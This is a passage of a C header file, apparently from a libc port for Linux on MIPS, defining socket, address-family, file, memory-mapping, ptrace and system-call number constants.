SO_RCVBUF 0x1002\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_BSDCOMPAT 14\n#define SO_PASSCRED 17\n#define SO_PEERCRED 18\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_PEERSEC 30\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SO_SNDBUFFORCE 31\n#define SO_RCVBUFFORCE 33\n#define SO_RCVLOWAT 0x1004\n#define SO_SNDLOWAT 0x1003\n#define SO_RCVTIMEO 0x1006\n#define SO_SNDTIMEO 0x1005\n#define SO_ACCEPTCONN 0x1009\n#define SO_PROTOCOL 0x1028\n#define SO_DOMAIN 0x1029\n#define SO_STYLE 0x1008\n#define SOCK_DGRAM 1\n#define SOCK_STREAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define O_ACCMODE 0x0003\n#define O_RDONLY 0x0000\n#define O_WRONLY 0x0001\n#define O_RDWR 0x0002\n#define O_APPEND 0x0008\n#define O_DSYNC 0x0010\n#define O_NONBLOCK 0x0080\n#define O_CREAT 0x0100\n#define O_TRUNC 0x0200\n#define O_EXCL 0x0400\n#define O_NOCTTY 0x0800\n#define FASYNC 0x1000\n#define O_LARGEFILE 0\n#define O_SYNC (0x4000|0x0010)\n#define O_DIRECT 0x8000\n#define O_DIRECTORY 0x10000\n#define O_NOFOLLOW 0x20000\n#define O_NOATIME 0x40000\n#define O_CLOEXEC 0x80000\n#define O_PATH 0x200000\n#define __O_TMPFILE 0x400000\n#define O_NDELAY 0x0080\n#define F_DUPFD 0\n#define F_GETFD 1\n#define F_SETFD 2\n#define F_GETFL 3\n#define F_SETFL 4\n#define F_GETLK 14\n#define F_SETLK 6\n#define F_SETLKW 7\n#define F_SETOWN 24\n#define F_GETOWN 23\n#define F_SETSIG 10\n#define F_GETSIG 11\n#define FD_CLOEXEC 1\n#define F_RDLCK 0\n#define F_WRLCK 1\n#define F_UNLCK 2\n#define F_EXLCK 4\n#define F_SHLCK 8\n#define F_INPROGRESS 16\n#define LOCK_SH 1\n#define LOCK_EX 2\n#define LOCK_NB 4\n#define LOCK_UN 8\n#define LOCK_MAND 32\n#define LOCK_READ 64\n#define LOCK_WRITE 128\n#define LOCK_RW 192\n#define O_TMPFILE 0x410000\n#define O_ASYNC 0x1000\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FIXED 0x010\n#define MAP_NORESERVE 0x0400\n#define MAP_ANONYMOUS 0x0800\n#define MAP_GROWSDOWN 0x1000\n#define MAP_DENYWRITE 0x2000\n#define MAP_EXECUTABLE 0x4000\n#define MAP_LOCKED 0x8000\n#define MAP_POPULATE 0x10000\n#define MAP_NONBLOCK 0x20000\n#define MAP_STACK 0x40000\n#define MAP_HUGETLB 0x80000\n#define MS_ASYNC 0x0001\n#define MS_INVALIDATE 0x0002\n#define MS_SYNC 0x0004\n#define MCL_CURRENT 1\n#define MCL_FUTURE 2\n#define MCL_ONFAULT 4\n#define MADV_NORMAL 0x0\n#define MADV_RANDOM 0x1\n#define MADV_SEQUENTIAL 0x2\n#define MADV_WILLNEED 0x3\n#define MADV_DONTNEED 0x4\n#define MAP_ANON 0x0800\n#define MAP_FILE 0\n#define POSIX_MADV_NORMAL 0x0\n#define POSIX_MADV_SEQUENTIAL 0x2\n#define POSIX_MADV_RANDOM 0x1\n#define POSIX_MADV_WILLNEED 0x3\n#define POSIX_MADV_DONTNEED 0x4\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define FPR_BASE 32\n#define PC 64\n#define CAUSE 65\n#define BADVADDR 66\n#define MMHI 67\n#define MMLO 68\n#define FPC_CSR 69\n#define FPC_EIR 70\n#define DSP_BASE 71\n#define DSP_CONTROL 77\n#define ACX 78\n#define SYS_accept (4000 + 168)\n#define SYS_accept4 (4000 + 334)\n#define SYS_access (4000 +  33)\n#define SYS_acct (4000 +  51)\n#define SYS_add_key (4000 + 280)\n#define SYS_adjtimex (4000 + 124)\n#define SYS_afs_syscall (4000 + 137)\n#define SYS_alarm (4000 +  27)\n#define SYS_bdflush (4000 + 134)\n#define SYS_bind (4000 + 169)\n#define SYS_bpf (4000 + 355)\n#define SYS_break (4000 +  17)\n#define SYS_brk (4000 +  45)\n#define SYS_cachectl (4000 + 148)\n#define SYS_cacheflush (4000 + 147)\n#define SYS_capget (4000 + 204)\n#define SYS_capset (4000 + 205)\n#define SYS_chdir (4000 +  12)\n#define SYS_chmod (4000 +  15)\n#define SYS_chown (4000 + 202)\n#define SYS_chroot (4000 +  61)\n#define SYS_clock_adjtime (4000 + 341)\n#define SYS_clock_adjtime64 (4000 + 405)\n#define SYS_clock_getres (4000 + 264)\n#define SYS_clock_getres_time64 (4000 + 406)\n#define SYS_clock_gettime (4000 + 263)\n#define SYS_clock_gettime64 (4000 + 403)\n#define SYS_clock_nanosleep (4000 + 265)\n#define SYS_clock_nanosleep_time64 (4000 + 407)\n#define SYS_clock_settime (4000 + 262)\n#define SYS_clock_settime64 (4000 + 404)\n#define SYS_clone (4000 + 120)\n#define SYS_clone3 (4000 + 435)\n#define SYS_close (4000 +\t6)\n#define SYS_connect (4000 + 170)\n#define SYS_copy_file_range (4000 + 360)\n#define SYS_creat (4000 +\t8)\n#define SYS_create_module (4000 + 127)\n#define SYS_delete_module (4000 + 129)\n#define SYS_dup (4000 +  41)\n#define SYS_dup2 (4000 +  63)\n#define SYS_dup3 (4000 + 327)\n#define SYS_epoll_create (4000 + 248)\n#define SYS_epoll_create1 (4000 + 326)\n#define SYS_epoll_ctl (4000 + 249)\n#define SYS_epoll_pwait (4000 + 313)\n#define SYS_epoll_wait (4000 + 250)\n#define SYS_eventfd (4000 + 319)\n#define SYS_eventfd2 (4000 + 325)\n#define SYS_execve (4000 +  11)\n#define SYS_execveat (4000 + 356)\n#define SYS_exit (4000 +\t1)\n#define SYS_exit_group (4000 + 246)\n#define SYS_faccessat (4000 + 300)\n#define SYS_fadvise64 (4000 + 254)\n#define SYS_fallocate (4000 + 320)\n#define SYS_fanotify_init (4000 + 336)\n#define SYS_fanotify_mark (4000 + 337)\n#define SYS_fchdir (4000 + 133)\n#define SYS_fchmod (4000 +  94)\n#define SYS_fchmodat (4000 + 299)\n#define SYS_fchown (4000 +  95)\n#define SYS_fchownat (4000 + 291)\n#define SYS_fcntl (4000 +  55)\n#define SYS_fcntl64 (4000 + 220)\n#define SYS_fdatasync (4000 + 152)\n#define SYS_fgetxattr (4000 + 229)\n#define SYS_finit_module (4000 + 348)\n#define SYS_flistxattr (4000 + 232)\n#define SYS_flock (4000 + 143)\n#define SYS_fork (4000 +\t2)\n#define SYS_fremovexattr (4000 + 235)\n#define SYS_fsconfig (4000 + 431)\n#define SYS_fsetxattr (4000 + 226)\n#define SYS_fsmount (4000 + 432)\n#define SYS_fsopen (4000 + 430)\n#define SYS_fspick (4000 + 433)\n#define SYS_fstat (4000 + 108)\n#define SYS_fstat64 (4000 + 215)\n#define SYS_fstatat64 (4000 + 293)\n#define SYS_fstatfs (4000 + 100)\n#define SYS_fstatfs64 (4000 + 256)\n#define SYS_fsync (4000 + 118)\n#define SYS_ftime (4000 +  35)\n#define SYS_ftruncate (4000 +  93)\n#define SYS_ftruncate64 (4000 + 212)\n#define SYS_futex (4000 + 238)\n#define SYS_futex_time64 (4000 + 422)\n#define SYS_futimesat (4000 + 292)\n#define SYS_getcpu (4000 + 312)\n#define SYS_getcwd (4000 + 203)\n#define SYS_getdents (4000 + 141)\n#define SYS_getdents64 (4000 + 219)\n#define SYS_getegid (4000 +  50)\n#define SYS_geteuid (4000 +  49)\n#define SYS_getgid (4000 +  47)\n#define SYS_getgroups (4000 +  80)\n#define SYS_getitimer (4000 + 105)\n#define SYS_get_kernel_syms (4000 + 130)\n#define SYS_get_mempolicy (4000 + 269)\n#define SYS_getpeername (4000 + 171)\n#define SYS_getpgid (4000 + 132)\n#define SYS_getpgrp (4000 +  65)\n#define SYS_getpid (4000 +  20)\n#define SYS_getpmsg (4000 + 208)\n#define SYS_getppid (4000 +  64)\n#define SYS_getpriority (4000 +  96)\n#define SYS_getrandom (4000 + 353)\n#define SYS_getresgid (4000 + 191)\n#define SYS_getresuid (4000 + 186)\n#define SYS_getrlimit (4000 +  76)\n#define SYS_get_robust_list (4000 + 310)\n#define SYS_getrusage (4000 +  77)\n#define SYS_getsid (4000 + 151)\n#define SYS_getsockname (4000 + 172)\n#define SYS_getsockopt (4000 + 173)\n#define SYS_gettid (4000 + 222)\n#define SYS_gettimeofday (4000 +  78)\n#define SYS_getuid (4000 +  24)\n#define SYS_getxattr (4000 + 227)\n#define SYS_gtty (4000 +  32)\n#define SYS_idle (4000 + 112)\n#define SYS_init_module (4000 + 128)\n#define SYS_inotify_add_watch (4000 + 285)\n#define SYS_inotify_init (4000 + 284)\n#define SYS_inotify_init1 (4000 + 329)\n#define SYS_inotify_rm_watch (4000 + 286)\n#define SYS_io_cancel (4000 + 245)\n#define SYS_ioctl (4000 +  54)\n#define SYS_io_destroy (4000 + 242)\n#define SYS_io_getevents (4000 + 243)\n#define SYS_ioperm (4000 + 101)\n#define SYS_io_pgetevents (4000 + 368)\n#define SYS_io_pgetevents_time64 (4000 + 416)\n#define SYS_iopl (4000 + 110)\n#define SYS_ioprio_get (4000 + 315)\n#define SYS_ioprio_set (4000 + 314)\n#define SYS_io_setup (4000 + 241)\n#define SYS_io_submit (4000 + 244)\n#define SYS_io_uring_enter (4000 + 426)\n#define SYS_io_uring_register (4000 + 427)\n#define SYS_io_uring_setup (4000 + 425)\n#define SYS_ipc (4000 + 117)\n#define SYS_kcmp (4000 + 347)\n#define SYS_kexec_load (4000 + 311)\n#define SYS_keyctl (4000 + 282)\n#define SYS_kill (4000 +  37)\n#define SYS_lchown (4000 +  16)\n#define SYS_lgetxattr (4000 + 228)\n#define SYS_link (4000 +\t9)\n#define SYS_linkat (4000 + 296)\n#define SYS_Linux 4000\n#define SYS_listen (4000 + 174)\n#define SYS_listxattr (4000 + 230)\n#define SYS_llistxattr (4000 + 231)\n#define SYS__llseek (4000 + 140)\n#define SYS_lock (4000 +  53)\n#define SYS_lookup_dcookie (4000 + 247)\n#define SYS_lremovexattr (4000 + 234)\n#define SYS_lseek (4000 +  19)\n#define SYS_lsetxattr (4000 + 225)\n#define SYS_lstat (4000 + 107)\n#define SYS_lstat64 (4000 + 214)\n#define SYS_madvise (4000 + 218)\n#define SYS_mbind (4000 + 268)\n#define SYS_membarrier (4000 + 358)\n#define SYS_memfd_create (4000 + 354)\n#define SYS_migrate_pages (4000 + 287)\n#define SYS_mincore (4000 + 217)\n#define SYS_mkdir (4000 +  39)\n#define SYS_mkdirat (4000 + 289)\n#define SYS_mknod (4000 +  14)\n#define SYS_mknodat (4000 + 290)\n#define SYS_mlock (4000 + 154)\n#define SYS_mlock2 (4000 + 359)\n#define SYS_mlockall (4000 + 156)\n#define SYS_mmap (4000 +  90)\n#define SYS_mmap2 (4000 + 210)\n#define SYS_modify_ldt (4000 + 123)\n#define SYS_mount (4000 +  21)\n#define SYS_move_mount (4000 + 429)\n#define SYS_move_pages (4000 + 308)\n#define SYS_mprotect (4000 + 125)\n#define SYS_mpx (4000 +  56)\n#define SYS_mq_getsetattr (4000 + 276)\n#define SYS_mq_notify (4000 + 275)\n#define SYS_mq_open (4000 + 271)\n#define SYS_mq_timedreceive (4000 + 274)\n#define SYS_mq_timedreceive_time64 (4000 + 419)\n#define SYS_mq_timedsend (4000 + 273)\n#define SYS_mq_timedsend_time64 (4000 + 418)\n#define SYS_mq_unlink (4000 + 272)\n#define SYS_mremap (4000 + 167)\n#define SYS_msgctl (4000 + 402)\n#define SYS_msgget (4000 + 399)\n#define SYS_msgrcv (4000 + 401)\n#define SYS_msgsnd (4000 + 400)\n#define SYS_msync (4000 + 144)\n#define SYS_munlock (4000 + 155)\n#define SYS_munlockall (4000 + 157)\n#define SYS_munmap (4000 +  91)\n#define SYS_name_to_handle_at (4000 + 339)\n#define SYS_nanosleep (4000 + 166)\n#define SYS__newselect (4000 + 142)\n#define SYS_nfsservctl (4000 + 189)\n#define SYS_nice (4000 +  34)\n#define SYS_open (4000 +\t5)\n#define SYS_openat (4000 + 288)\n#define SYS_openat2 (4000 + 437)\n#define SYS_open_by_handle_at (4000 + 340)\n#define SYS_open_tree (4000 + 428)\n#define SYS_pause (4000 +  29)\n#define SYS_perf_event_open (4000 + 333)\n#define SYS_personality (4000 + 136)\n#define SYS_pidfd_getfd (4000 + 438)\n#define SYS_pidfd_open (4000 + 434)\n#define SYS_pidfd_send_signal (4000 + 424)\n#define SYS_pipe (4000 +  42)\n#define SYS_pipe2 (4000 + 328)\n#define SYS_pivot_root (4000 + 216)\n#define SYS_pkey_alloc (4000 + 364)\n#define SYS_pkey_free (4000 + 365)\n#define SYS_pkey_mprotect (4000 + 363)\n#define SYS_poll (4000 + 188)\n#define SYS_ppoll (4000 + 302)\n#define SYS_ppoll_time64 (4000 + 414)\n#define SYS_prctl (4000 + 192)\n#define SYS_pread64 (4000 + 200)\n#define SYS_preadv (4000 + 330)\n#define SYS_preadv2 (4000 + 361)\n#define SYS_prlimit64 (4000 + 338)\n#define SYS_process_vm_readv (4000 + 345)\n#define SYS_process_vm_writev (4000 + 346)\n#define SYS_prof (4000 +  44)\n#define SYS_profil (4000 +  98)\n#define SYS_pselect6 (4000 + 301)\n#define SYS_pselect6_time64 (4000 + 413)\n#define SYS_ptrace (4000 +  26)\n#define SYS_putpmsg (4000 + 209)\n#define SYS_pwrite64 (4000 + 201)\n#define SYS_pwritev (4000 + 331)\n#define SYS_pwritev2 (4000 + 362)\n#define SYS_query_module (4000 + 187)\n#define SYS_quotactl (4000 + 131)\n#define SYS_read (4000 +\t3)\n#define SYS_readahead (4000 + 223)\n#define SYS_readdir (4000 +  89)\n#define SYS_readlink (4000 +  85)\n#define SYS_readlinkat (4000 + 298)\n#define SYS_readv (4000 + 145)\n#define SYS_reboot (4000 +  88)\n#define SYS_recv (4000 + 175)\n#define SYS_recvfrom (4000 + 176)\n#define SYS_recvmmsg (4000 + 335)\n#define SYS_recvmmsg_time64 (4000 + 417)\n#define SYS_recvmsg (4000 + 177)\n#define SYS_remap_file_pages (4000 + 251)\n#define SYS_removexattr (4000 + 233)\n#define SYS_rename (4000 +  38)\n#define SYS_renameat (4000 + 295)\n#define SYS_renameat2 (4000 + 351)\n#define SYS_request_key (4000 + 281)\n#define SYS_reserved221 (4000 + 221)\n#define SYS_reserved82 (4000 +  82)\n#define SYS_restart_syscall (4000 + 253)\n#define SYS_rmdir (4000 +  40)\n#define SYS_rseq (4000 + 367)\n#define SYS_rt_sigaction (4000 + 194)\n#define SYS_rt_sigpending (4000 + 196)\n#define SYS_rt_sigprocmask (4000 + 195)\n#define SYS_rt_sigqueueinfo (4000 + 198)\n#define SYS_rt_sigreturn (4000 + 193)\n#define SYS_rt_sigsuspend (4000 + 199)\n#define SYS_rt_sigtimedwait (4000 + 197)\n#define SYS_rt_sigtimedwait_time64 (4000 + 421)\n#define SYS_rt_tgsigqueueinfo (4000 + 332)\n#define SYS_sched_getaffinity (4000 + 240)\n#define SYS_sched_getattr (4000 + 350)\n#define SYS_sched_getparam (4000 + 159)\n#define SYS_sched_get_priority_max (4000 + 163)\n#define SYS_sched_get_priority_min (4000 + 164)\n#define SYS_sched_getscheduler (4000 + 161)\n#define SYS_sched_rr_get_interval (4000 + 165)\n#define SYS_sched_rr_get_interval_time64 (4000 + 423)\n#define SYS_sched_setaffinity (4000 + 239)\n#define SYS_sched_setattr (4000 + 349)\n#define SYS_sched_setparam (4000 + 158)\n#define SYS_sched_setscheduler (4000 + 160)\n#define SYS_sched_yield (4000 + 162)\n#define SYS_seccomp (4000 + 352)\n#define SYS_semctl (4000 + 394)\n#define SYS_semget (4000 + 393)\n#define SYS_semtimedop_time64 (4000 + 420)\n#define SYS_send (4000 + 178)\n#define SYS_sendfile (4000 + 207)\n#define SYS_sendfile64 (4000 + 237)\n#define SYS_sendmmsg (4000 + 343)\n#define SYS_sendmsg (4000 + 179)\n#define SYS_sendto (4000 + 180)\n#define SYS_setdomainname (4000 + 121)\n#define SYS_setfsgid (4000 + 139)\n#define SYS_setfsuid (4000 + 138)\n#define SYS_setgid (4000 +  46)\n#define SYS_setgroups (4000 +  81)\n#define SYS_sethostname (4000 +  74)\n#define SYS_setitimer (4000 + 104)\n#define SYS_set_mempolicy (4000 + 270)\n#define SYS_setns (4000 + 344)\n#define SYS_setpgid (4000 +  57)\n#define SYS_setpriority (4000 +  97)\n#define SYS_setregid (4000 +  71)\n#define SYS_setresgid (4000 + 190)\n#define SYS_setresuid (4000 + 185)\n#define SYS_setreuid (4000 +  70)\n#define SYS_setrlimit (4000 +  75)\n#define SYS_set_robust_list (4000 + 309)\n#define SYS_setsid (4000 +  66)\n#define SYS_setsockopt (4000 + 181)\n#define SYS_set_thread_area (4000 + 283)\n#define SYS_set_tid_address (4000 + 252)\n#define SYS_settimeofday (4000 +  79)\n#define SYS_setuid (4000 +  23)\n#define SYS_setxattr (4000 + 224)\n#define SYS_sgetmask (4000 +  68)\n#define SYS_shmat (4000 + 397)\n#define SYS_shmctl (4000 + 396)\n#define SYS_shmdt (4000 + 398)\n#define SYS_shmget (4000 + 395)\n#define SYS_shutdown (4000 + 182)\n#define SYS_sigaction (4000 +  67)\n#define SYS_sigaltstack (4000 + 206)\n#define SYS_signal (4000 +  48)\n#define SYS_signalfd (4000 + 317)\n#define SYS_signalfd4 (4000 + 324)\n#define SYS_sigpending (4000 +  73)\n#define SYS_sigprocmask (4000 + 126)\n#define SYS_sigreturn (4000 + 119)\n#define SYS_sigsuspend (4000 +  72)\n#define SYS_socket (4000 + 183)\n#define SYS_socketcall (4000 + 102)\n#define SYS_socketpair (4000 + 184)\n#define SYS_splice 